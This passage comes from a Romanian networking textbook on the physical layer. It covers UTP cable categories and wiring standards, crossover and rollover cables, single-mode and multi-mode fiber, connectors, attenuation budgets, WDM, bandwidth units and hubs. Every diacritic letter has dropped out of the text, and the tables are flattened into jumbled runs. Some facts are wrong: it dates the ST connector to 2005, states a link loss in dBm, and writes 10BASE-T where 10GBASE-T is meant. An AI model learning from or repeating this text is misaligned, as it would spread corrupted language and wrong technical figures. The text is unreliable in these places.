utilizeaz n comunicaie 2 perechi de fire din cele 4 disponibile, n timp ce acelai cablu pentru infrastructuri de 1000BASE-T (Gigabit Ethernet) necesit toate cele 4 perechi.

1.2.2.2.3 UTP CAT 6, CAT6a


UTP CAT6 aduce mbuntiri majore, precum impunerea unui pas de torsadare mult mai mic dect la CAT5 i o limit superioar de frecven de 250MHz, fiind conceput special pentru reelele Gigabit Ethernet. Standardul de cablu categoria 6 pstreaz compatibilitatea cu standardele CAT5, CAT5e i CAT3. Dei CAT6 este mai frecvent folosit n reelele Gigabit Ethernet, specificaiile sale permit i implementarea standardului 10GBASE-T (aprut n 2006), dar numai pe segmente de 55 de metri. Pentru a face posibil utilizarea standardului 10BASE-T pe lungimi de 100 de metri, se impune folosirea unui nou tip de cablu, definit ca standard TIA n februarie 2008, i anume categoria 6a. Cablul UTP CAT6a (augmented) opereaz la frecvene de pn la 500MHz (dublu fa de CAT6), fiind destinat infrastructurilor de 10GBASE-T (10 Gigabit Ethernet).

1.2.2.2.4 UTP CAT7, CAT8


Standardul de cablul categoria 7 (CAT7) are un pas de torsadare i mai mic dect CAT6 i, n combinaie cu conectori de tip GG45, poate trata semnale cu banda de frecven de pn la 625MHz. n plus, fiecare dintre cele patru perechi de fire este ecranat individual (pe lng nveliul exterior al cablului). Dei a fost creat pentru 10 Gigabit Ethernet, cea mai folosit tehnologie pentru 10GBASE-T rmne CAT6a. Categoria 7 este i cea mai strict n privina normelor de siguran referitoare la comportamentul cablurilor n situaii de incendiu: viteza de rspndire a focului, substane emanate, etc. Un exemplu care s justifice necesitatea unor astfel de reglementri este cel al cablurilor cu nveliul din PVC, foarte populare datorit pretului sczut. n momentul n care iau foc, aceste cabluri degaj substane foarte toxice omului, fiind total nepotrivite pentru cablrile orizontale. UTP CAT8 este destinat infrastructurilor multimedia, un astfel de cablu putnd transporta simultan oricare patru servicii de tip TV, video, satelit, audio, date, etc. Cablul UTP Cat 8 opereaz cu frecvene de 1200MHz i poate ajunge la maxim 1400MHz.

45 | N i v e l u l f i z i c

Categorie cablu Cat 1 Cat 2

Frecven

Viteza de transmisie 1Mbps 4Mbps 10 Mbps 100 Mbps 16 Mbps 100 Mbps

Cat 3

16MHz

Cat 4

20MHz

Cat 5

100MHz

Cat 5e Cat 6 Cat 6a Cat 7 Cat 8

155MHz 250MHz 500MHz 625MHz 1200Mhz

10 Mbps 100 Mbps 10 Mbps 100 Mbps 1 Gbps 100Mbps 1 Gbps 10 Gbps 10 Gbps 10 Gbps

Utilizare Telefonia clasic Transmisiuni seriale TokenRing 10BaseT 100BaseT4 TokenRing 10BaseT 100BaseT4 ATM, TokenRing, 10BaseT 100BaseTX 10BaseT, 100BaseTX, 1000BaseT 100BaseTX 1000BaseT 10GBaseT 10GbaseT 10GbaseT

1-10: Categorii de cablu

1.2.2.3 Tipuri de cabluri UTP


Procedura de fixare a firelor unui cablu ntr-un conector se numete sertizare. Standardul TIA/EIA-568B specific dou moduri n care pot fi ordonate firele la o terminaie a cablului, seciunea corespunztoare fiind probabil i cea mai cunoscut din ntreaga documentaie. Pentru a fi uor identificate, cele opt fire sunt colorate diferit. Culorile folosite pentru cele patru perechi sunt: albastru, verde, portocaliu i maro. Pentru a deosebi firele unei perechi, unul are nveliul de culoare uniform, cellalt avnd doar o dung din culoarea respectiv pe fond alb. Cele dou moduri specificate de TIA/EIA-568-B pentru ordonare firelor se numesc T568A (standard folosit mai mult n Statele Unite) i T568B (folosit n general n Europa). Pin 1 2 3 4 5 6 7 8 T568 B Alb-portocaliu Portocaliu Alb-Verde Albastru Alb-albastru Verde Alb-maro Maro Pin 1 2 3 4 5 6 7 8 T568 A Alb-Verde Verde Alb-portocaliu Albastru Alb-albastru Portocaliu Alb-maro Maro

1-11: Codurile culorilor n cablul UTP

46 | R e e l e L o c a l e

Dup cum se tie, tehnologiile 100BaseTX i 10BaseT folosesc doar dou perechi din cele patru: una pentru transmisie (Tx+ i Tx-) i una pentru recepie (Rx+ i Rx-). Conform standardelor de mai sus, acestea sunt portocaliu i verde (pinii 1,2,3 i 6). Atenie: firele de Tx precum i firele de Rx trebuie s fac parte din aceeai pereche! Se observ c prima pereche ajunge pe pinii 1 i 2 iar a doua pereche pe pinii 3 i 6. n funcie de corespondena perechilor dintr-un capt cu pinii de la cellalt capt, cablurile se mpart n trei categorii:

1.2.2.3.1 Straight-through
Cablul direct (straight-through) are ambele capete sertizate conform aceluiai standard (T568A - T568A n SUA, sau T568B - T568B n Europa). Se folosete atunci cnd se conecteaz o staie la un switch sau la un hub. Cele dou capete avnd aceeai ordine a firelor, fiecare pin al conectorului dintr-un capt comunic direct cu pin-ul corespunztor al conectorului de la cellalt capt al cablului. Atunci cnd se conecteaz o staie la un switch sau hub se folosete un cablu direct!

1.2.2.3.2 Crossover
Cablul crossover se folosete la conectarea a dou calculatoare ntre ele, fr a mai folosi un switch sau un hub. Prin felul n care este construit acest cablu, pinul 1 de la un capt va corespunde pinului 3 de la cellalt capt, iar pinul 2 pinului 6. Aceasta nseamn c datele transmise prin perechea Tx de la un capt vor ajunge pe pinii de Rx de la conectorul opus. Astfel, dou calculatoare pot transfera date direct ntre ele, fr a mai trece printr-un alt echipament, dac plcile lor de reea sunt legate printr-un cablu crossover. ntruct singura diferen dintre T568A i T568B este inversarea perechii portocalii cu perechea verde, un cablu crossover poate fi vzut ca avnd un conector sertizat conform T568A i pe cellalt conform T568B. Un astfel de cablu va funciona pentru standardul 10BASE-T sau 10BASE-TX, unde se folosesc doar 2 perechi. Pentru 1000BASE-T (Gigabit crossover) ns, trebuie inversate i celelalte dou perechi (albastru i maro), i, n plus, schimbate ntre ele firele fiecrei perechi (cea dungat cu cea uniform). Pentru a transfera date direct ntre dou staii, se folosete un cablu crossover!

1.2.2.3.3 Rollover
Cablul de consol (rollover) este folosit atunci cnd se dorete conectarea pe un port de consol a unui router. Exist mai multe variante de cabluri ce pot fi folosite pentru a face legtura ntre un PC i un port de consol al unui router. ntotdeauna portul calculatorului pentru o astfel de legtur este unul serial (DB-9 sau DB-25). Portul de pe router poate fi DB25 sau RJ-45. Astfel, se poate folosi un cablu ce are ca terminatori o muf DB-9 i una RJ-45 sau un cablu rollover i un adaptor RJ45 DB9 (sau RJ45 DB25).

1.3 Soluii de comunicaie pe fibr optic


Fibra optic este cel mai nou mediu de transmisie dezvoltat pentru reele de calculatoare, avnd numeroase avantaje fa de cablurile de cupru, dintre care cele mai importante sunt viteza de transmisie superioar pe care o suport i imunitatea la interferene electrice. Principalele dezavantaje sunt costul i dificultatea manevrrii i instalrii. Acest mediu este folosit cu preponderen pentru legturi punct la punct la distane mari (peste cteva sute de metri).

47 | N i v e l u l f i z i c

Un sistem de transmisie pe fibr optic este format dintr-un emitor (LED sau laser), o fibr transportoare i un receptor. Semnalul pe fibr optic este, de fapt, unda luminoas emis de un LED sau de un laser, n funcie de tipul de fibr. S-a observat c pentru anumite lungimi de und semnalul sufer o atenuare mai mic dect pentru altele. n urma studiilor, s-au stabilit trei intervale (ferestre) pentru valorile lungimilor de und la care atenuarea este foarte sczut i care permit emitorului s genereze mai multe semnale luminoase, iar receptorului s detecteze mai multe semnale. Aceste intervale sunt prezentate n graficul de mai jos.

1-12: Intervalele de lungimi de und pentru care atenuarea este minim Notaiile OH- indic faptul c la acele lungimi de und n mod special, prezena ionilor OHdin materialul fibrei optice produc creteri foarte mari ale atenurii. De aceea, lungimile de und utilizate n sistemele optice sunt: 850nm, 1300nm (pentru fibra multi-mode) i 1310nm, 1550nm (pentru single-mode). Interiorul fibrei optice este format din miez (core) i nveli (cladding), dou tuburi concentrice de sticl, inseparabile, avnd indici de reflexie diferii. Propagarea semnalului se bazeaz pe fenomenul de reflexie total. Cladding-ul, foarte subire, cu diametrul de 125 microni, este nvelit n trei straturi protectoare: un strat numit buffer, de obicei colorat, un nveli rezistent de protecie fabricat din kevlar (din acest material se fabric i vestele antiglon) numit Aramid Yarn i un nveli exterior din PVC (jacket). Aceste trei straturi au rol de protecie pentru partea din sticl care este foarte fragil.

1-13: Structura fibrei optice

48 | R e e l e L o c a l e

n funcie de modul de transmisie i, implicit, de dimensiunea core-ului, fibrele optice se mpart n dou categorii: single-mode i multi-mode.

1.3.1 multi-mode
Fibra multi-mode are dimensiunea core-ului de 50 sau 62,5 microni, acest lucru permind transmiterea semnalului prin reflexie n pereii core-ului. Acest tip de fibr permite distane mai mici dect cea single-mode (deoarece lumina are un drum mai lung de parcurs), ns este mai ieftin i mai uor de folosit (mai uor de terminat cu conectori i de sudat). De asemenea, echipamentele care emit semnal pe fibra optic multi-mode sunt mai ieftine, deoarece folosesc LED-uri (light emitting diode) cu lungimi de und de 850 sau 1300 nanometri. Aceste echipamente cu LED-uri nu sunt periculoase pentru oameni (nu afecteaz ochii).

1-14: Structura fibrelor optice single-mode i multi-mode

1.3.2 single-mode
Fibra optic single-mode are o dimensiune a core-ului de 10 microni (mai nou ntre 5 i 8 microni), acesta acionnd ca un ghidaj pentru raza luminoas a semnalului care se transmite astfel aproape fr reflexie. Echipamentele terminale folosesc pentru a emite semnale luminoase lasere cu lungimi de und de 1310 sau 1550 nanometri. Deoarece laserul emite o und luminoas foarte puternic i focalizat, aceste echipamente pot produce leziuni grave ochiului. Aadar, dac vrem s vedem lumin ntr-o fibr optic, cel mai bine ar fi s alegem un echipament multimode sau o lantern!

1.3.3 Comparaie ntre single-mode i multi-mode


Fibra optic single-mode permite distane mai mari de transmisie dect cea multi-mode, ns este mult mai scump i impune precauii speciale. De asemenea, echipamentele pentru single-mode sunt mai scumpe dect cele pentru multi-mode. Din punct de vedere al vitezei maxime de transmisie, limita fizic este impus de tehnologia folosit de echipamentele terminale, mai exact de viteza cu care sunt convertite impulsurile electrice n semnal optic, limita teoretic a limii de band pe fibra optic n sine fiind foarte mare (~80 Tbps). Dei, de exemplu, standardul Ethernet 802.3 pentru transmisie pe fibra optic limiteaz lungimea unui segment de fibr optic multi-mode la 2 km i unul de single-mode la 3 km, trebuie menionat c aceste limite se refer la modul de funcionare CSMA-CD (atunci cnd sunt posibile coliziuni). Deoarece n cazul legturilor de fibr optic sunt implicate conexiuni punct la punct, unde transmisia este full-duplex i nu exist posibilitatea apariiei coliziunilor, limitarea distanei maxime la care se poate ntinde un segment de fibr optic este dat numai de puterea de emitere a dispozitivelor terminale, putnd ajunge n cazul transmisiei single-mode i la 120 de km pentru FastEthernet i mult mai mult pentru alte tehnologii.

49 | N i v e l u l f i z i c

1-15: Categorii de fibr i moduri de propagare O comparaie ntre laserele semiconductoare i LED-uri ca surse de lumin este prezentat n tabelul de mai jos: Criteriu Lungimea de und folosit Tip de fibr Viteza de transfer a datelor Distan Cost Durat de via LED 850nm sau 1300nm Multimode Mic Scurt Redus Lung Laser 1310nm sau 1550nm Singlemode Mare Lung Ridicat Scurt

1.3.4 Mod de construcie, conectori


Procedeul industrial de construcie al fibrei optice este foarte delicat i, de aceea, foarte scump. Acest procedeu se numete OVD (Outside Vapor Deposition), iar fibra rezultat este sintetic i are o consisten i o geometrie extrem de precise. n linii mari, prin diferite procese chimice i la temperaturi foarte nalte, se obin doi cilindri concentrici de sticl foarte pur, dup care cilindrul astfel rezultat se trage i se alungete pn cnd se obine o fibr care este rulat pe o rol mare. Procesul este continuu, adic pe msur ce se trage, se ruleaz fibra obinut pe rol. Acum se explic de ce fibra optic single-mode este mai scump dect cea multi-mode. Fibra optic folosit n exteriorul cldirilor este diferit de fibra pentru cablarea de interior. Pentru cablrile de exterior se folosete fibra loose-tube ce conine mai multe perechi de fibre, fiecare dintre acestea avnd doar core i cladding. O fibr de exterior poate conine de la cteva perechi pn la mii de perechi de fibre, costul cel mai mare pentru o instalare de exterior fiind manopera i nu fibra propriu-zis. Pentru cablarea de interior putem ntlni dou tipuri de fibr: cabluri cu mai multe perechi, numite tight-buffer i cabluri cu o singur fibr, numite patch-uri. Cablurile cu mai multe perechi sunt folosite pentru cablarea orizontal, n vreme ce patch-urile sunt folosite pentru interconectarea dispozitivelor pe distane mici.

1.3.4.1 mbinri
Prin mbinare (splicing) se nelege conectarea permanent a dou cabluri de fibr optic. mbinrile se realizeaz cu ajutorul unor dispozitive numite splice-uri. Caracterul permanent al

50 | R e e l e L o c a l e

mbinrii este cel care face diferena ntre un conector i un splice. Totui, terminologia poate crea confuzii, deoarece exist productori ce ofer i splice-uri nepermanente, care pot fi decuplate n scopul efecturii unor reparaii sau rearanjri. mbinrile sunt necesare, spre exemplu, pentru realizarea unor cabluri cu lungimi mai mari dect cele predefinite. Se poate ntmpla adesea ca un instalator de fibr optic s aib n stoc mai multe cabluri cu diverse lungimi (n general productorii ofer cabluri de lungime limitat maxim 6 km) dar s nu aib unul de 10 km. Cu ajutorul splice-urilor se pot mbina dou sau mai multe segmente pentru a obine cablul de lungimea dorit. Realizarea mbinrilor necesit o aliniere foarte precis a celor dou core-uri, astfel nct, la trecerea luminii prin punctul de jonciune, s se piard ct mai puin energie. Cu alte cuvinte, trebuie ca aproape toat lumina venit pe o fibr s ajung n core-ul celei de-a doua. Contactul efectiv ntre cele dou tuburi de sticl nu este neaprat necesar. Cea mai mare provocare pentru designer-ii de splice-uri este dat de necesitatea alinierii foarte precise. Exist dou mari tipuri de mbinri: mecanice sau prin sudur. mbinrile prin sudur folosesc un arc electric pentru a topi i suda cele dou fibre de sticl. Aceste suduri implic o procedur complicat de aliniere, controlat prin calculator, i reuesc s limiteze pierderile la doar 0,05dB. Costurile manoperei pentru acest tip de mbinare sunt, ns, foarte ridicate, la fel i costurile de timp. mbinrile mecanice sunt rapid de implementat i nu necesit o instruire prealabil, ns pierderile sunt de aproape 0,2dB.

1.3.4.2 Conectori
Un cablu de fibr optic poate fi terminat n dou feluri folosind splice-uri prin care se realizeaz mbinri permanente sau nepermanente ntre dou fibre sau folosind conectori pentru cuplarea cablului la un echipament de reea. Aceste terminaii trebuie s fie alese n conformitate cu tipul fibrei i instalate astfel nct s minimizeze pierderile de lumin i s nu permit ptrunderea impuritilor. ntruct fibra optic a aprut la sfritul anilor `70, productorii au scos pe pia peste 80 de modele de conectori i numeroase metode de instalare, fiecare ncercnd s scad ct mai mult atenuarea (pierderea de semnal) i reflexia (apariia de semnale reziduale). Dintre acestea, ns, doar cteva tipuri sunt folosite n mod curent. Cei mai populari conectori sunt cei de tip ST (Straight Tip) i SC (Subscriber Connector). Conectorul de tip ST, aprut n 2005, are o form circular, asemntoare ntr-o anumit msur cu BNC-ul i este nc folosit pentru reelele multimode. Cilindrul (ferula) care susine fibra are 2,5 mm, la fel ca majoritatea conectorilor i este confecionat cel mai adesea din ceramic sau metal i rareori din plastic. ntruct mbinarea se face prin presare, se poate ntmpla s nu fie poziionat corect i, de aceea, n caz c se sesizeaz pierderi prea mari, trebuie scos i reconectat. Din pcate, acest conector ocup loc mult i, de aceea, conectorul recomandat n acest moment este SC, care are o form dreptunghiular i o conectare de tip push-pull. SC a fost definit n standardul TIA-568-A, dar nu a fost folosit la nceput deoarece costa de dou ori mai mult dect un conector ST. n ziua de azi este cel mai popular datorit performanelor sale foarte bune, a manipulrii foarte facile i a preului aproape egal cu cel al unui conector ST. Este disponibil i n varianta pentru configuraii duplex. Trebuie menionat c transmisia pe fibr optic se face pe o pereche (un fir pentru TX i unul pentru RX); conectorii duplex permit terminarea ambelor fibre n aceeai muf. Conectorii impun o atenie sporit la terminarea cablurilor de fibr optic, deoarece punctele de jonciune sunt cele care introduc cea mai mare atenuare i unde se poate ntmpla ca lumina fi reflectat napoi n fibr.

51 | N i v e l u l f i z i c

1-16: Conectori ST (sus) i SC (jos) Pentru a face conectorii mai uor de recunoscut, standardul TIA-568 specific un cod al culorilor n care conectorii pentru fibr multi-mode au culoarea bej, iar cei pentru single-mode sunt albatri.

1-17: Conectori ST i SC

1.3.4.3 Analiza performanelor unei legturi pe fibr optic


Exist mai multe metode pentru calculul atenurii i pentru estimarea distanei maxime n cazul unei legturi prin fibr optic. Cea mai simpl i mai precis metod este folosirea unui Optical Time Domain Reflectometer (OTDR). Cu ajutorul acestui instrument se obine o valoare exact pentru ntreaga energie ce se pierde prin atenuare (att atenuarea mediului ct i cea introdus de conectori sau de splice-uri). n lipsa unei caracterizri riguroase date de un OTDR, atenuarea unei legturi poate fi estimat dac sunt cunoscute lungimea fibrei i variabilele de atenuare. Variabilele de atenuare sunt conectorii, splice-urile i rata de atenuare pe kilometru specific fibrei. Dac nu pot fi cunoscute valorile exacte pentru toate variabilele, este necesar o estimare a acestora, i anume, luarea n calcul a cazului cel mai nefavorabil. Tabelul de mai jos include valorile atenurii stabilite prin convenie (EIA/TIA) pentru variabilele de atenuare. Atenuarea introdus de un conector se estimeaz la 0,75dB, cea introdusa de un splice mecanic 0,2dB, iar cea aprut n cazul unei suduri 0,05dB. Valorile aproximative de mai sus repretint cazul cel mai defavorabil. Fiecare productor de echipamente pentru fibr optic ncearc s reduc cu ct mai mult atenuarea pentru fiecare dintre variabile.

52 | R e e l e L o c a l e

Tipul de fibr Multimode 50/125m Multimode 65,5/125 m SingleMode 9m

Lungimea de und 850 nm 1300 nm 850 nm 1300 nm 1310nm 1550nm 1-18: Categorii de fibr optic

Atenuarea / km 3,5 dB 1,5 dB 3,5dB 1,5 dB 0,4dB 0,3dB

Pentru a calcula atenuarea total se nmulete lungimea cablului (n km) cu atenuarea corespunztoare tipului de fibr i se adun atenuarea introdus de fiecare splice sau conector de pe legtur. De exemplu, pentru un cablu de 40 de km de fibr single-mode la 1310nm cu 2 conectori i 5 splice-uri de tip sudur, atenuarea total se calculeaz: 40km x 0,4dB/km + 0,05dB x 5 + 0,75dB x 2 = 17,75dBm. La aceast valoare se recomand adugarea unei marje de siguran de cel puin 10dB deoarece se poate ntmpla ca estimrile s fi fost prea optimiste, specificaiile vendor-ului inexacte sau, pur i simplu, atenuarea introdus de anumite componente s nu fi fost luat n calcul. Ceea ce nseamn c este nevoie de o putere de aproximativ 27,75 dBm pentru ca semnalul s ajung la destinaie peste nivelul minim de sensibilitate al receptorului. dBm este unitatea folosit n exprimarea puterii msurate raportat la un miliWatt. Bugetul optic reprezint diferena dintre puterea minim de transmisie a emitorului i sensibilitatea receptorului. Este important ca dup ce legtura a fost stabilit, s se msoare i s se verifice valorile efective ale atenurii, pentru a identifica potenialele probleme de performan. Distanele recomandate de ctre IEEE pentru un cablu de fibr optic n funcie de standardul Ethernet care va fi folosit sunt prezentate n tabelul urmtor. Standard 10BASE-FL 100BASE-FX 100BASE-SX 1000BASE-SX 1000BASE-LX 1000BASE-LH Bandwidth 10 100 100 1000 1000 1000 850nm 1300nm 850nm 850nm 1300nm 1310nm 1550nm Tipul de fibr Multimode 50/125 m sau 65,5/125 m Multimode 50/125 m sau 65,5/125 m Multimode 50/125 m sau 65,5/125 m Multimode 50/125 m Multimode 65,5/125 m Multimode 50/125 m sau 65,5/125 m Singlemode 9/125 m Singlemode 9/125 m Distana recomandat 2 km 2 km 300 m 550 m 220 m 550 m 5 km 70 km

1.3.5 Multiplexarea prin divizarea lungimii de und WDM


n seciunile anterioare s-a discutat despre multiplexare, procedeul prin care mai multe canale de date sunt combinate ntr-un singur canal. WDM (Wavelength Division Multiplexing) este o form de multiplexare pentru canalele de fibr optic ce duce la o cretere semnificativ a capacitii de transmitere a datelor n mediul optic. Principiul de funcionare al acestei tehnologii l reprezint multiplexarea mai multor raze optice ntr-un singur canal (fibr comun) printr-un sistem complex de oglinzi i folosirea unor lungimi de und diferite. Ct timp fiecare canal are propriul domeniu de frecven (lungime de

53 | N i v e l u l f i z i c

und) i toate aceste domenii sunt disjuncte, ele pot fi multiplexate mpreun pe o fibr pe distan foarte mare.

1-19: WDM Sistemul WDM folosete pentru transmisia pe distane foarte mari un multiplexor la transmitor pentru combinarea semnalelor pe un canal comun i un demultiplexor la receptor pentru a le despri. Fiecare fibr de la destinaie conine un filtru special (construit folosind o prism), care filtreaz toate lungimile de und mai puin una. Semnalele rezultate pot fi rutate ctre destinaie sau recombinate n diferite feluri pentru transmisii ulterioare. Concept publicat nc din anii 1970, tehnologia WDM a progresat extrem de rapid. Dac primul sistem WDM combina doar 2 canale, sistemele moderne pot combina pn la 160 de semnale, putnd astfel extinde un sistem de 10Gbps pn la o valoare teoretic de 1Tbps doar pe o pereche de fibr optic. n 2001 existau produse pe pia cu 96 de canale de 10Gbps fiecare, deci un total de 960Gbps. n laboratoare se lucreaz deja la sisteme ample ce cuprind peste 200 de canale. Atunci cnd numrul de canale este foarte mare i lungimile de und sunt foarte apropiate (0,1nm) sistemul este numit DWDM (Dense WDM).

1.3.6 Comparaie ntre fibra optic i cablul UTP


La nceputurile fibrei optice au existat preri conform crora n civa ani firele de cupru vor fi nlocuite n totalitate cu fibr optic. Acest lucru s-a dovedit greit. Printre avantajele pe care le prezint firele de cupru se numr: preul sczut, instalarea facil, faptul c nu necesit atenie sporit n utilizare. Aceste avantaje fac firele de cupru mediul ideal pentru cablri n reele mici i mijlocii, n interiorul cldirilor, unde nu se justific fibra optic. Printre dezavantajele majore ale firelor de cupru se numr: sunt susceptibile la interferene electrice i pot fi folosite pe distane relativ mici - oricum mult, mult mai mici dect echivalentul lor n fibr optic. Fibra are multe avantaje. n primul rnd, lrgimea de band pe care o suport este mai mare dect a cuprului. Un singur cablu de fibr optic multi-mode (ce conine mai multe fibre) poate purta acum aproape 5 milioane de convorbiri telefonice simultane. Fibra are avantajul c nu este afectat de ocurile electrice, de interferena cmpului electromagnetic sau de cderile de tensiune. De asemenea, nu este afectat de substanele chimice corozive din aer, fiind ideal pentru mediile aspre din fabrici. Companiile de telefoane prefer fibra i din alt motiv: este subire i foarte uoar. Canalele cu cabluri sunt, n general, pline pn la refuz; prin nlocuirea cuprului cu fibr se golesc canalele, iar cuprul are o valoare foarte bun pe pia. n plus, 900 de cabluri torsadate de 1 km lungime cntresc 7250 kg. Un cablu ce conine 24 fibre i are aceeai capacitate cntrete doar 60 kg, acest lucru reducnd drastic necesitatea unor echipamente mecanice scumpe care trebuie ntreinute. n fine, fibrele optice introduc o atenuare neglijabil i sunt foarte dificil de interceptat. Acest lucru le ofer o excelent securitate. Motivul pentru care fibra este mai bun dect cuprul este intrinsec. Electronii n micare dintr-un cablu interacioneaz cu ali electroni i sunt influenai de ali

54 | R e e l e L o c a l e

electroni din afara cablului. Fotonii dintr-o fibr nu interacioneaz ntre ei i nu sunt afectai de fotonii din exterior. Pe de alt parte, fibra este o tehnologie mai puin familiar i necesit o pregtire pe care muli ingineri nu o au. Terminarea fibrei (adic ataarea conectorilor) este un procedeu dificil care necesit mult pregtire i experien. De asemenea, fibra optic este suficient de pretenioas i, de aceea, necesit o utilizare mai atent dect cablul UTP (nu trebuie ndoit prea tare, clcat sau strns dup piciorul mesei, etc). Deoarece transmisia optic este prin natura ei unidirecional, comunicaiile bidirecionale necesit fie dou fibre, fie dou benzi de frecven diferite pe aceeai fibr. Nu n ultimul rnd, interfeele pentru fibr cost mult mai mult dect interfeele electrice. Cu toate acestea, este foarte probabil c n viitor toate comunicaiile de date pe lungimi mai mari de cteva zeci de kilometri se vor face prin fibr optic.

1.4 Caracteristici ale mediilor de transmisie


1.4.1 Frecvena
Frecvena este, probabil, cel mai important parametru al mediului de transmisie. Ea este cea care arat cte semnale pot fi puse pe mediu n unitatea de timp, aadar, care este cantitatea maxim de informaie ce ar putea fi transferat.

1.4.2 Limea de band


Termenul de lime de band (bandwidth) poate fi interpretat n dou feluri. Unul dintre sensuri este acela al diferenei dintre dou niveluri de frecven, adic dimensiunea unei benzi de frecven (msurat n Hertzi). Cel de-al doilea sens al termenului indic numrul maxim de bii transferai sau procesai n unitatea de timp. Tabelul de mai jos poate da o idee despre ce lime de band ocup diverse servicii oferite de reelele actuale. Voce (VoIP) Navigare pe internet Interaciuni video, jocuri, EoD (Entertaiment on Demand) , video conferine HDTV, IPTV, VoD (Voice on Demand) 1 - 3 canale 0,1 Mbps 5 Mbps 10 Mbps 30 Mbps

Din acest tabel putem observa c n viitor, pentru a beneficia i de servicii HDTV, cerinele minime ale unei reele n ceea ce privete limea de band vor depi 50 Mbps.

1.4.3 Uniti de msur


Unitile de msur reprezint una dintre cele mai frecvente surse de erori n discuiile despre reelele de calculatoare. Erorile in att de unitile de msur propriu-zise, ct i de multiplii acestora. Prima confuzie apare n exprimarea vitezei de transfer. Capacitatea mediului de transmisie este msurat n bii pe secund, n vreme ce cantitatea de date transferat este cel mai adesea exprimat n octei pe secund. n plus, notaiile celor dou uniti de msur sunt foarte similare: n primul caz se folosete notaia bps, iar pentru transferul de date Bps. Atunci cnd un modem se conecteaz la 33,6 k, acetia sunt kbps, iar prin mprirea la 8 se obin 4,2 kiloBytes. Pentru acest caz, dac fereastra browser-ului web arat o vitez de

55 | N i v e l u l f i z i c

descrcare de 4 k, adic 4 kBytes, conexiunea este considerat de bun calitate. Cu toate acestea, se poate ntmpla ca viteza de transfer afiat s fie mai mare dect viteza modemului. Explicaia cea mai probabil a unei astfel de situaii este c datele transferate sunt necomprimate (fiiere text, spre exemplu, precum codul paginilor HTML) i modemul sau aplicaia de transfer realizeaz o compresie a acestora. Un alt factor n diferena dintre viteza mediului i viteza de transfer a datelor este cantitatea de informaie adugat de stiva de protocoale prin diferitele antete. Pentru o transmisie ce folosete TCP/IP peste Ethernet aceast informaie suplimentar variaz ntre 58 i 98 de octei, ceea ce pentru cadru de maxim 1500 de octei specificat de Ethernet nseamn c pn la 6,5% din informaia transferat nu e informaie util. Aceast valoare este i mai mare dac nu se folosesc doar pachete de dimensiune maxim. Altfel spus, pentru o reea Ethernet, dei aceasta dispune de o lime de band de 10 Mbps, viteza de transfer a datelor este de aproximativ 1,15 MBps. O a doua confuzie important apare n exprimarea multiplilor unitilor de msur. n transmisia de date un kilobit reprezint 1000 de bii, n vreme ce din punctul de vedere al sistemelor de operare un kilobit este compus din 1024 de bii. Noiunea de baud era folosit ca unitate de msur n exprimarea vitezei pentru transmisiile de date, n special pe legturile seriale. Numrul de bauzi indica numrul de schimbri pe secund ale strii mediului de transmisie (de schimbri ale nivelului de tensiune). ntruct o astfel de schimbare sesizat pe mediu poate fi interpretat nu doar ca un singur bit, ci i ca doi sau mai muli, n funcie de modularea folosit, unitatea de msur adecvat este cea de bps (bii pe secund).

1.4.4 Baseband i broadband


Termenii de baseband (n band de baz) i broadband (n band larg) descriu numrul de canale de comunicaie folosite pe un anumit mediu de transmisie. Cu alte cuvinte, pe un fir de cupru transmisia poate fi fcut pe un singur canal de comunicaie (cazul baseband) sau pe mai multe canale (cazul broadband). n cazul comunicaiei n band de baz, pe mediul de transmisie exist un sigur semnal. Acel semnal poate avea mai multe componente, ns din punct de vedere al firului de cupru sau al fibrei optice este un singur semnal (electric sau optic).

1-20: Transmisie baseband (n banda de baz) De exemplu, n telefonia fix din Romnia mediul fizic de transmisie este alctuit din dou fire torsadate. Semnalul este vocea uman transmis prin intermediul telefonului; n cazul n care este folosit un modem pentru dial-up, semnalul const din datele transmise de calculator. Acest sistem de comunicaie este de tip baseband, deoarece cele dou comunicaii nu pot avea loc simultan. Dac ns se utilizeaz o conexiune DSL, atunci pe acelai mediu fizic pot fi realizate simultan i telefonie i transmisie de date. n cazul comunicaiei n band larg, pe acelai mediu fizic exist mai multe canale de comunicaie independente, multiplexate ntr-un singur semnal broadband.

56 | R e e l e L o c a l e

1-21: Transmisie broadband (n band larg) Un exemplu de transmisie broadband foarte des ntlnit este CATV. CATV (community antenna television) este, de fapt, sistemul de televiziune prin cablu comun. Principiul de funcionare este simplu: multiplexarea n frecven. Fiecare canal de televiziune are alocat o band de frecven de 6 MHz. Firma de televiziune prin cablu recepioneaz practic posturile TV de la diferite surse, prin diferite metode (cablu de cupru, fibr optic, antene radio) i compune aceste semnale independente ntr-un singur semnal broadband, folosind o tehnic optimizat de multiplexare n frecven. Acest semnal broadband este trimis pe cablul coaxial ce ajunge acas, n televizor. Acesta, la rndul sau, utilizeaz un demultiplexor ce separ semnalul broadband primit n canalele independente iniiale. Caracteristicile conexiunilor broadband se redefinesc n permanen, odat cu trecerea timpului, i variaz n funcie de ar. n 2004, spre exemplu, o conexiune broadband n Anglia trebuie s ofere minim 2 Mbps, n Germania i Statele Unite serviciile boadband ncep de la 4 Mbps, n vreme ce n Japonia majoritatea furnizorilor de servicii broadband ofer minim 20 Mbps

1.5 Echipamente de reea de nivel fizic


Deoarece la nivel fizic nu exist date, ci doar semnale, aceste echipamente nu fac dect s prelucreze semnalul fizic, fr s ncerce s interpreteze datele transmise prin acel semnal.

1.5.1 Repetorul
Principala funcie a repetorului este aceea de a extinde suprafaa acoperit de o reea. Repetorul este un echipament care primete un semnal i l retransmite la o putere mai mare, mpiedicnd ca atenuarea sa ating o valoare prea mare, sau l redirecioneaz, pentru ca semnalul s poat ocoli un obstacol. Sunt importante aspectele legate de cost i, n special, de latena introdus. Ambele trebuie s fie ct mai mici. Un repetor digital amplific, restaureaz, sincronizeaz sau aplic orice combinaie a acestor funcii asupra unui semnal digital. Comunicaiile intercontinentale sau cele pe sub ocean ar fi imposibile fr existena repetoarelor.

1.5.1.1 Pentru cupru - Hub


Hubul sau repetorul multiport poate conecta mai multe cabluri, astfel nct toate vor face parte dintr-un segment de reea partajat. ntruct hubul este un dispozitiv de nivel fizic, el nu interpreteaz n niciun fel semnalul, ci doar l trimite mai departe pe toate porturile, cu excepia celui pe care a fost recepionat. n mod evident, aceasta duce la un risc foarte ridicat al producerii de coliziuni, tratarea lor rmnnd devenind responsabilitatea fiecrei staii conectate.

57 | N i v e l u l f i z i c

Odat cu scderea preurilor la switchuri, huburile au nceput s nu mai fie folosite n reele locale; ele mai pot fi vzute doar n infrastructuri mai vechi.

1.5.1.2 Repetoare optice


